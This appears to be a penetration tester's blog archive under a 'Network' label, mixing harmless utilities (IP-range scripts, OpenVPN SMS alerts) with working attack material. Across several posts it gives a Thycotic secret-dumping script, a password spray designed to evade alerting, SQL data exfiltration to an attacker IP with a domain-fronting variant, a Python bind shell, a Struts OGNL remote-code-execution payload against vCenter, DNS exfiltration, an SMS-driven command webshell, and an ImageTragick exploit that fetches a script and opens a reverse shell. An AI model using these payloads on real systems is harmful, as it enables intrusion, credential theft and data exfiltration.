Showing posts with label Network. Show all posts
Showing posts with label Network. Show all posts

Friday, November 20, 2020

AWS EC2 & Quick FTP Server

 Sometimes you just need to transfer some files back and forth over FTP and want something quick and easy. There are a couple of caveats to getting a one-liner-ish FTP server running in AWS EC2 or lightsail:

  1. Additional ports must be opened. Lightsail by default opens 80 & 22. You'll have to also open 21 & 8000-9000 for the following to work. Or you know, open it all because yolo.
  2. File transfers must happen in FTP passive mode. This is the default mode of pftp and lftp on Kali. If you use the basic ftp binary, you have to issue the "passive" command after you connect.
Here are the commands to quick-start:

Thursday, December 12, 2019

Pillage Thycotic Secret Server

If you want to grab all the secrets from Thycotic's secret server, use the SOAP API to pull them out. Assuming you have valid domain creds, run the following script.


#!/usr/bin/env python3
from zeep import Client

#Connect to the soap api endpoint
client = Client("https://secretserver.example.com/SecretServer/webservices/SSWebservice.asmx?wsdl")
#grab your auth token for all your requests
token = client.service.Authenticate("user_here", "pass_here", "", "domain_here")
#grab all secrets for the user
searchSecret = client.service.SearchSecrets(token.Token, "*")
#output the secret values for each secret
for secret in searchSecret.SecretSummaries.SecretSummary:
     print(client.service.GetSecret(token.Token, secret['SecretId']))

Tuesday, December 10, 2019

Round Robin SMB Auth

Password sprays are very noisy internally. If the target has any sort of alerting in place, they'll see the spray light up their dashboard like a christmas tree. However, often times the alerts are only set up to count failed logins from a single IP. Spread out the auth and you may skirt around their detections:

Instead of throwing your auth attempts at one IP, throw them at many:

username_file=/root/users.txt
targets_file=/root/windows-hosts.txt
how_deep_to_go=2000

for index in $(seq 1 ${how_deep_to_go}); do
    username=$(sed -n ${index}p ${username_file})
    target=$(sed -n ${index}p ${targets_file})
    echo "smbclient -U mydomainhere/${username}%Welcome1 -L //${target}"
    smbclient -U mydomainhere/${username}%Welcome1 -L //${target}
done | tee smb-round-robin.out

Tuesday, August 20, 2019

Send text message via AWS

Assuming you've already done "aws configure"

aws sns publish --phone-number 11231234 --message "a thing happened"

Tuesday, April 2, 2019

Google/AWS/Azure IP Ranges

Google Cloud, Amazon AWS, and Microsoft Azure publish their IP ranges for their cloud platforms.

Amazon:
https://ip-ranges.amazonaws.com/ip-ranges.json
one-liner:
     curl https://ip-ranges.amazonaws.com/ip-ranges.json | grep 'ip_prefix' | cut -d '"' -f 4

Microsoft Azure:
https://www.microsoft.com/en-gb/download/details.aspx?id=41653
one-liner:
     cat PublicIPs_20190401.xml | grep 'IpRange Subnet='| cut -d '"' -f2

Google Cloud:
DNS txt records for: _cloud-netblocks.googleusercontent.com
one-liner:
     for netblock in $(dig txt _cloud-netblocks.googleusercontent.com +short | tr " " "\n" | grep include | cut -f 2 -d :); do dig txt +short $netblock; done | tr " " "\n" | grep ip4: | cut -d ':' -f2

Wednesday, November 28, 2018

Keep Track Of Your Source IP

Pentesters/RedTeamers often need to track their outgoing IPs for Blue Teams to be able to correlate activity and know if an attack is shceduled activity or something else.

Below is a script that will reach out, grab your public IP, and if it's different from the last entry, enter it into a log file. I use crontab to execute it at the top of every minute.
#!/bin/bash
# This script records changes to your external IP to a log file with timestamp
# Install:
# crontab -e
# * * * * * /Users/MYUSERNAME/WHEREVER/iplog.sh
# And then change the iplogfileloc below to where you want the logfile to save.

# You should have an iplog.txt with contents like this:
# $ cat iplog.txt
# Wed Nov 28 12:56:40 MST 2018 -- 177.243.11.21
# Wed Nov 28 13:00:07 MST 2018 -- 17.18.24.6

# Change the below location to what you want
iplogfileloc="/Users/MYUSERORWHATEVERHERE/iplog.txt"

myip=$(curl httpbin.org/ip 2> /dev/null| grep origin | awk '{print $2}' | tr -d '"')

#create file if it doesnt exist
[ -f ${iplogfileloc} ] || touch ${iplogfileloc}

if ! cat ${iplogfileloc} | tail -1 | grep ${myip} > /dev/null ; then
    # if your IP has changed, add it to the file
    echo $(date) '--' ${myip} >> ${iplogfileloc}
fi

Now you can change IPs via VPN or whatever and always be able to refer to it later. The only edge case is if you change IPs multiple times within one minute, but that should be rare and accounted for in sprays.

Monday, November 26, 2018

Ways to Enumerate Users

A couple of methods to identify usernames that can then be used in other areas of a pentest are below. I added as many as I could think of. I limited it to ones mostly seen from the public Internet.

Thursday, August 30, 2018

Download All Corporate Git Repos

Depending on the client you are testing, they may have an internal development team that checks code into a git repo. The vast majority of the clients I've seen implement the Atlassian suite of tools, typically containing an internally hosted Bitbucket.

The Bitbucket web interface has a search feature for looking for code snippets. It's absolutely awful. It's like an off brand tonka toys reject of a search function. You know what's way better? grep. That means I'd have to download every repo to search it locally. I did that with this script:

It's handy to note that grepping isn't the only good thing about cloning repos locally. It allows you to run the myriad of vuln checker tools, load up the code into an IDE and run source/sink analysis on it, and much more.

Wednesday, August 29, 2018

Brute Force LDAP Names (or how I kinda downloaded LDAP)

Running queries over a network using the ldapsearch tool can be a bit annoying. It's especially annoying when you constantly run into the "size limit exceeded" result when you get large responses.

I decided to write a little tool to recursively and conditionally search LDAP for CN entries (basically AD account names) and download them locally. If it detects the error size limit error, it automatically adds a new character to drill even further.

It works fantastically well. After you run this tool you should have many .out files containing ldap query responses. Grep to your hearts content:

Wednesday, July 25, 2018

Setting Up A Kali Interception VM

Twice now I've had to setup an interception proxy for testing protocol implementations. Below are the steps I took to configure the Kali VM as my main MITM box. I decided to not use a MITM attack like ARP Spoofing but instead setup Kali as a middling router. The networking setup is rather simple:
TargetDevice (over USB Ethernet adapter)-> Kali VM (Bridged Mode) -> Laptop's Wifi


  1. Download/install Kali as a virtual machine
  2. Set the VM in bridged mode (VMware breaks some things)
  3. Follow the guide here to get Internet sharing configured on Kali: http://itfanatic.com/?q=node/84
  4. Create an iptables rule to redirect your target traffic to your proxy software. Here i'm redirecting all traffic over 443 to 2020 (where striptls is listening): iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 2020
  5. Download striptls from github
  6. Run it locally with something like: ./striptls.py -s --listen 0.0.0.0:2020 --remote exampletarget.com:443
Running striptls is obviously not mandatory since step 3 configured a working middle machine. I just used it in my testing to strip the TLS command from XMPP and HTTPS. You now have a machine all traffic is flowing through and is at your disposal to do with as you wish.

Friday, March 23, 2018

Resume Your Script After Canceling It

Several times in the past I had to write a script that iterates over a dictionary file, or brutes something on a web login or whatever. Often you like to make modifications to the script forcing you to cancel it, edit it, and start it over. The starting over part is what I hate. It took me a while to realize this (I has the dumb) but you can easily create a resume-like function in your scripts. Just use a counter!

For example your original function is something like this:
for thing in things:
    result = haxor_the_thing(thing)
    print("{} resulted in {}".format(thing,result))

Which is your basic for loop in python, nothing new here. But lets say you ran that for a while and it outputted a couple hundred lines. You don't want to start all over again right? You need to make an edit, so you ctrl-c it, edit it, and also add in this little bit:
count = 0
for thing in things:
    if count < 243:
        result = haxor_the_thing(thing)
        print("{} resulted in {}".format(thing,result))
    count += 1

That's it. The "243" is just the number of times it ran and where it should start off again. So what happens here is the script begins, sees the count = 0 and doesnt run the "haxor_the_thing()" function. It won't run it until it sees a value higher than 243, thereby skipping the first 243 entries and restarting the function on the 244th entry.

If I have to cancel it again, I do a quick copy paste of the output, count lines in ST3, and just add "if count < 243 + 534:". This is obviously not the _best_ way to do this, but it sure as hell is fast.

I mean, this may seem obvious to certain people but this makes a person's life much easier.

Monday, March 19, 2018

Convert IP Notation - (X.X.X.X-X.X.Y.Z -> Individual IPs)

I was provided a list of IPs and ranges, most of them were in the format of 1.1.1.1-1.1.1.4. Nmap doesnt like this format, nmap likes the format of 1.1.1.1-4. This is easy if everything is a /24. Most of my ranges were not. I used the iptools python module written for Django to parse the IPs. All I had to do was supply a file formatted properly (no spaced in between the dash) and boom, each possible IP was spit out:

Wednesday, November 29, 2017

Exfiltrating SQL data from Windows

Let's say you get a winexe or wmiexec shell to a SQL server. Maybe you want to extract the top 10 rows of some juicy looking table. Maybe you need to exfil it to your HTTP server and are yolo'ing it. The following may help you:

Output the top 10 records of a SQL table using osql:
osql -E -Q "use DATABASEHERE; select top 10 * from ZOMGSEXYTABLE" -o C:\windows\temp\LOLDATA.txt

Post the file to a URL using powershell:
powershell -noprofile Invoke-RestMethod -Uri http://PUT.MY.IP.HERE -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"

Set up a an HTTP server to receive the file, or just ncat -l it.

Oh, want to use domain fronting? use this powershell line instead:
powershell -noprofile Invoke-RestMethod -Uri http://FRONTABLE.DOMAIN.HERE -Headers @{Host='MY.CLOUDFRONTDOMAINHERE'} -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"


Friday, June 16, 2017

Smallest Python Bind Shell

    As a followup to my previous post about making the smallest python reverse bind shell, A coworker ran into a situation where outbound connections were not allowed. So I decided to change the code to be a bind shell instead of a reverse-connect shell.

    This version simply sits and listens on the specified port for input, and then executes whatever text it receives as python code. Just like with the reverse-bind shell, I'm sure this would more accurately be classified as a stager since the meat of the code is actually sent when you connect to the socket, as you'll see later.

If you're able to execute Python code on the target machine and have limited space for injections (SQL/limited command injection/whatever) this 105 character tweet-able bind shell may work for you:

import socket as a
s = a.socket()
s.bind(('127.1',2425))
s.listen(1)
(r,z) = s.accept()
exec(r.recv(999))

Once this is executed on the victim machine, you then connect to it with netcat/ncat.

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:2425.

Then paste in the following line. Once it's pasted in, don't hit enter like you'd expect, hit CTRL-D so your terminal sends the EOF signal. Once you hit CTRL-D it will pop a shell for you to have fun with.

import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

And boom, shell:

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:2425.
import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

[09:41:21][victim]@[victimhost:~]$ pwd
pwd
/Users/victim
[09:41:23][victim]@[victimhost:~]$

PS. The bind shell code is saying to bind to port 2425, which is just to make it not require root privileges. If you don't have root, you won't be able to bind it to any port less than 1024.

PPS. As with the reverse shell, I simply haven't found anything smaller. I'm sure there is some Python wizardry to make it smaller, but this is good enough for most purposes.

EDIT:
     I was reminded that IPs can be shortened mathematically and it does in fact work with the socket library. I changed the above bind line to '127.1' since it is equivalent to and shorter than 'localhost'. This brings the overall size from 109 characters to 105. Granted that won't matter when yo put in your own server for an actual attack but whatever. IT STILL COUNTS.

Friday, April 14, 2017

Exploiting the VMware VCenter RCE (CVE-2017-5638)

I got lucky enough to be able to test this exploit code on an active engagement so I thought I'd share my PoC:

1. Find a box that has VCenter running (just grep through nmap results for vcenter)
2. Run the following curl command (assuming it's on port 443):

curl -v -k https://VICTIMIPHERE/statsreport/ -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
EOF
)"
3. The response body should be the output of the command

You can modify the "(#cmd='net user')" portion of the payload to be other commands including things like adding a new local admin. Or possibly running Powershell (haven't verified yet)

Friday, February 3, 2017

Super Simple DNS Exfiltration

I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.

In order for you to get a basic DNS exfil setup to work you'll need a couple things:
  1. A VPS to sniff the DNS queries
  2. A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.

Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.

I partially wrote the following python script to just parse out the domain name being requested.

#!/usr/bin/env python2

from scapy.all import *
from scapy.layers.dns import DNSRR, DNS, DNSQR

def handlepkt(p):
  #thanks stackoverflow!
  if p.haslayer(DNS):
      if p.qdcount > 0 and isinstance(p.qd, DNSQR):
          name = p.qd.qname
      elif p.ancount > 0 and isinstance(p.an, DNSRR):
          name = p.an.rdata
      print name

sniff(iface=eth0, filter="udp and port 53", store=0,  prn=handlepkt)

Since your DNS settings are configured properly, just start the python sniffer and run something like

for i in *; do host $i.e.domain.tld; done

And watch the requests come in.

Thursday, November 3, 2016

OpenVPN Client Disconnect Notification

So I was configuring a pentest dropbox and hated the fact that you couldn't know if the dropbox connected unless you checked the VPN endpoint. I thought there must be a more automated/better way. Well, it turns out there is.

OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:

--client-connect script
Run script on client connection. The script is passed the common name and IP address of the just-authenticated client as environmental variables (see environmental variable section below).
Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
--client-disconnect
Like --client-connect but called on client instance shutdown. Will not be called unless the --client-connect script and plugins (if defined) were previously called on this instance with successful (0) status returns.

So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).

This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).

No Twilio?

Don't have a Twilio account yet? get one. They are fun to experiment with and cost practically nothing. It also allows you to do stupid things like get a webshell over SMS


Steps:


  1. Configure OpenVPN server to allow user-created scripts to run
  2. Drop the python SMS scripts in /etc/openvpn/
  3. Test/verify the connection

Configure OpenVPN:

Luckily, this is as simple as adding a couple lines to the bottom of the config and restarting the service. Add the following lines to your /etc/openvpn/openvpn.conf:

script-security 2
client-connect /etc/openvpn/client-connect.py
client-disconnect /etc/openvpn/client-disconnect.py

and then do a "service openvpn restart" to reload the config


Drop Python SMS scripts:

With those above config lines, OpenVPN will simply execute whatever those scripts contain whenever a client connects/disconnects. It's extremely important that your connect script has no errors in it. Errors will cause the script to return a non-zero return status and OpenVPN will instantly drop the client connection. The following two scripts are simply pasted into the /etc/openvpn/ directory:

client-disconnect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[-]DISCONNECTED - %s from %s at %s" % (clientname, clientip, timestamp))

client-connect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[+]CONNECTED - %s as %s at %s" % (clientname, clientip, timestamp))

You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.


Test the connection:

You configured the service, restarted the service to take in the new config details, and pasted in the proper scripts. Now is the time to make sure it works. You can either simply connect a client to the VPN and see if it works, or test the scripts manually. The process for manual testing is to enter the following:

cd /etc/openvpn
bash
export common_name=asdf
export ifconfig_pool_remote_ip=qwer
./client-connect.py


Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.

Caveat:
     The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.

TLDR: You get SMS text messages when your dropbox (or really anything) connects/disconnects from your VPN. Really useful for physical pentests.

Thursday, October 13, 2016

Consolidate Single IPs Into Ranges

Sometimes you'll have a file of one IP per line and it contains large swaths of continuous IP space. Listing out each IP of a /24 is unnecessary many times and looks way better if you shrink/consolidate them into networks.
I wrote the following python script to do just that.

#!/usr/bin/env python3
#takes in a file of one-per-line IPs and consolidates them into ranges
#@atucom

import ipaddress
import argparse
import sys

result = []
def consolidate(ipobj):
  result.append(ipobj)
  for ipstr in iparry:
    ipobj2 = ipaddress.ip_address(ipstr)
    if ipobj + 1 == ipobj2:
      result.append(ipobj2)
      iparry.remove(ipstr)
      consolidate(ipobj2)


if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument("FILE" ,help='The input file of one-per-line IPs to consolidate')
  args = parser.parse_args()
  if args.FILE:
    with open(args.FILE, 'r') as f:
      iparry = f.read().splitlines()
    for ipstr in iparry:
      consolidate(ipaddress.ip_address(ipstr))
      if ipaddress.ip_address(ipstr) == result[-1]:
        print(result[-1])
      else:
        print("%s - %s" % (ipaddress.ip_address(ipstr), result[-1]))
  else:
    exit(1)

It takes in a list of unique one-per-line IPs and outputs "-" notation of ranges

That "ips2.txt" file simply contains the following:
192.168.1.0
192.168.1.1
192.168.1.11
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.19
192.168.1.2
192.168.1.21
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.7
192.168.1.9

Wednesday, July 20, 2016

How to have a webshell over SMS

I consider this more of a "stupid trick" than actually being terribly useful. I recently thought to myself "How awesome would it be if I could text a phone number to run some commands" and I immediately answered that question with "super freakin' awesome".

You need the following:
  1. A number set up at Twilio - This is what is used to actually communicate over SMS
  2. A VPS - You need this to host a server application to accept the text string from Twilio servers. This will also be where the commands are actually run.
  3. Ruby with twilio-ruby and sinatra gems installed
Purchase a phone number in Twilio and have the "webhook" line in the SMS section point to your VPS URL, for example: http://myvpshere:8080/smscli or whatever you choose. Once you set that up, whatever SMS messages get sent to the phone number you purchased in Twilio will be sent as an HTTP Post request to the URL you specify. 

Now all you need is a server listening at that URL on your VPS to accept the HTTP Post requests from the Twilio servers and do something with the body of the request. In this case, we pass whatever text as a system command and reply to the phone number with the result of the command. The following example Ruby code starts up a sinatra web server to do all that:


require 'twilio-ruby'
require 'sinatra'

set :port, 8080
set :bind, '0.0.0.0'

post '/smscli' do
  puts "Message: #{params['Body']}!"

  result = `#{params['Body']}`

  twiml = Twilio::TwiML::Response.new do |r|
    r.Message result
  end
  twiml.text
end

Overall, this really isn't that different from any other webshell. The only real difference is you are leveraging Twilio to handle SMS communications.

Now you get to do something stupid like this:

PS.
     I shouldn't have to mention that taking in arbitrary text from untrusted sources and running them as commands under root is pretty much the worst thing you could do security wise. This is merely an example of how to get the pure task done. Implement some auth or something, I don't care... It's your funeral...

Tuesday, May 17, 2016

Exploiting HipChat with ImageTragick

Hipchat uses the Imagemagick library to resize your custom emoticons. If you have access to upload your own emoticon image files to the server using the web interface (or API probably), you can use the Imagetragick vulnerability to get shell on the machine.

It turns out the ImageTragick's PoC didn't work on our server:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

After quite a bit of mangling and testing, the following file contents, renamed to a .gif (HipChat doesn't accept .mvg files), will work:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/test4")'
pop graphic-context

I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.

Now since I didn't have time to figure out how to make it a leet one-liner, I decided to break shell access into two requests. The first pulls the shell script to /tmp/ and the second executes the file.

The reverse shell I used was:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I simply pasted that into a .sh on my testserver so the victim HipChat server could pull it down

I listened on my remote box with a basic ncat listener:
ncat -l -v 1234

Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/python_shell.sh -o /tmp/python_shell.sh")'
pop graphic-context

The second .gif executes the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";bash /tmp/python_shell.sh")'
pop graphic-context

(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)

Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
$ uname -a
Linux hipchat.blah.com 3.4.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:02:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.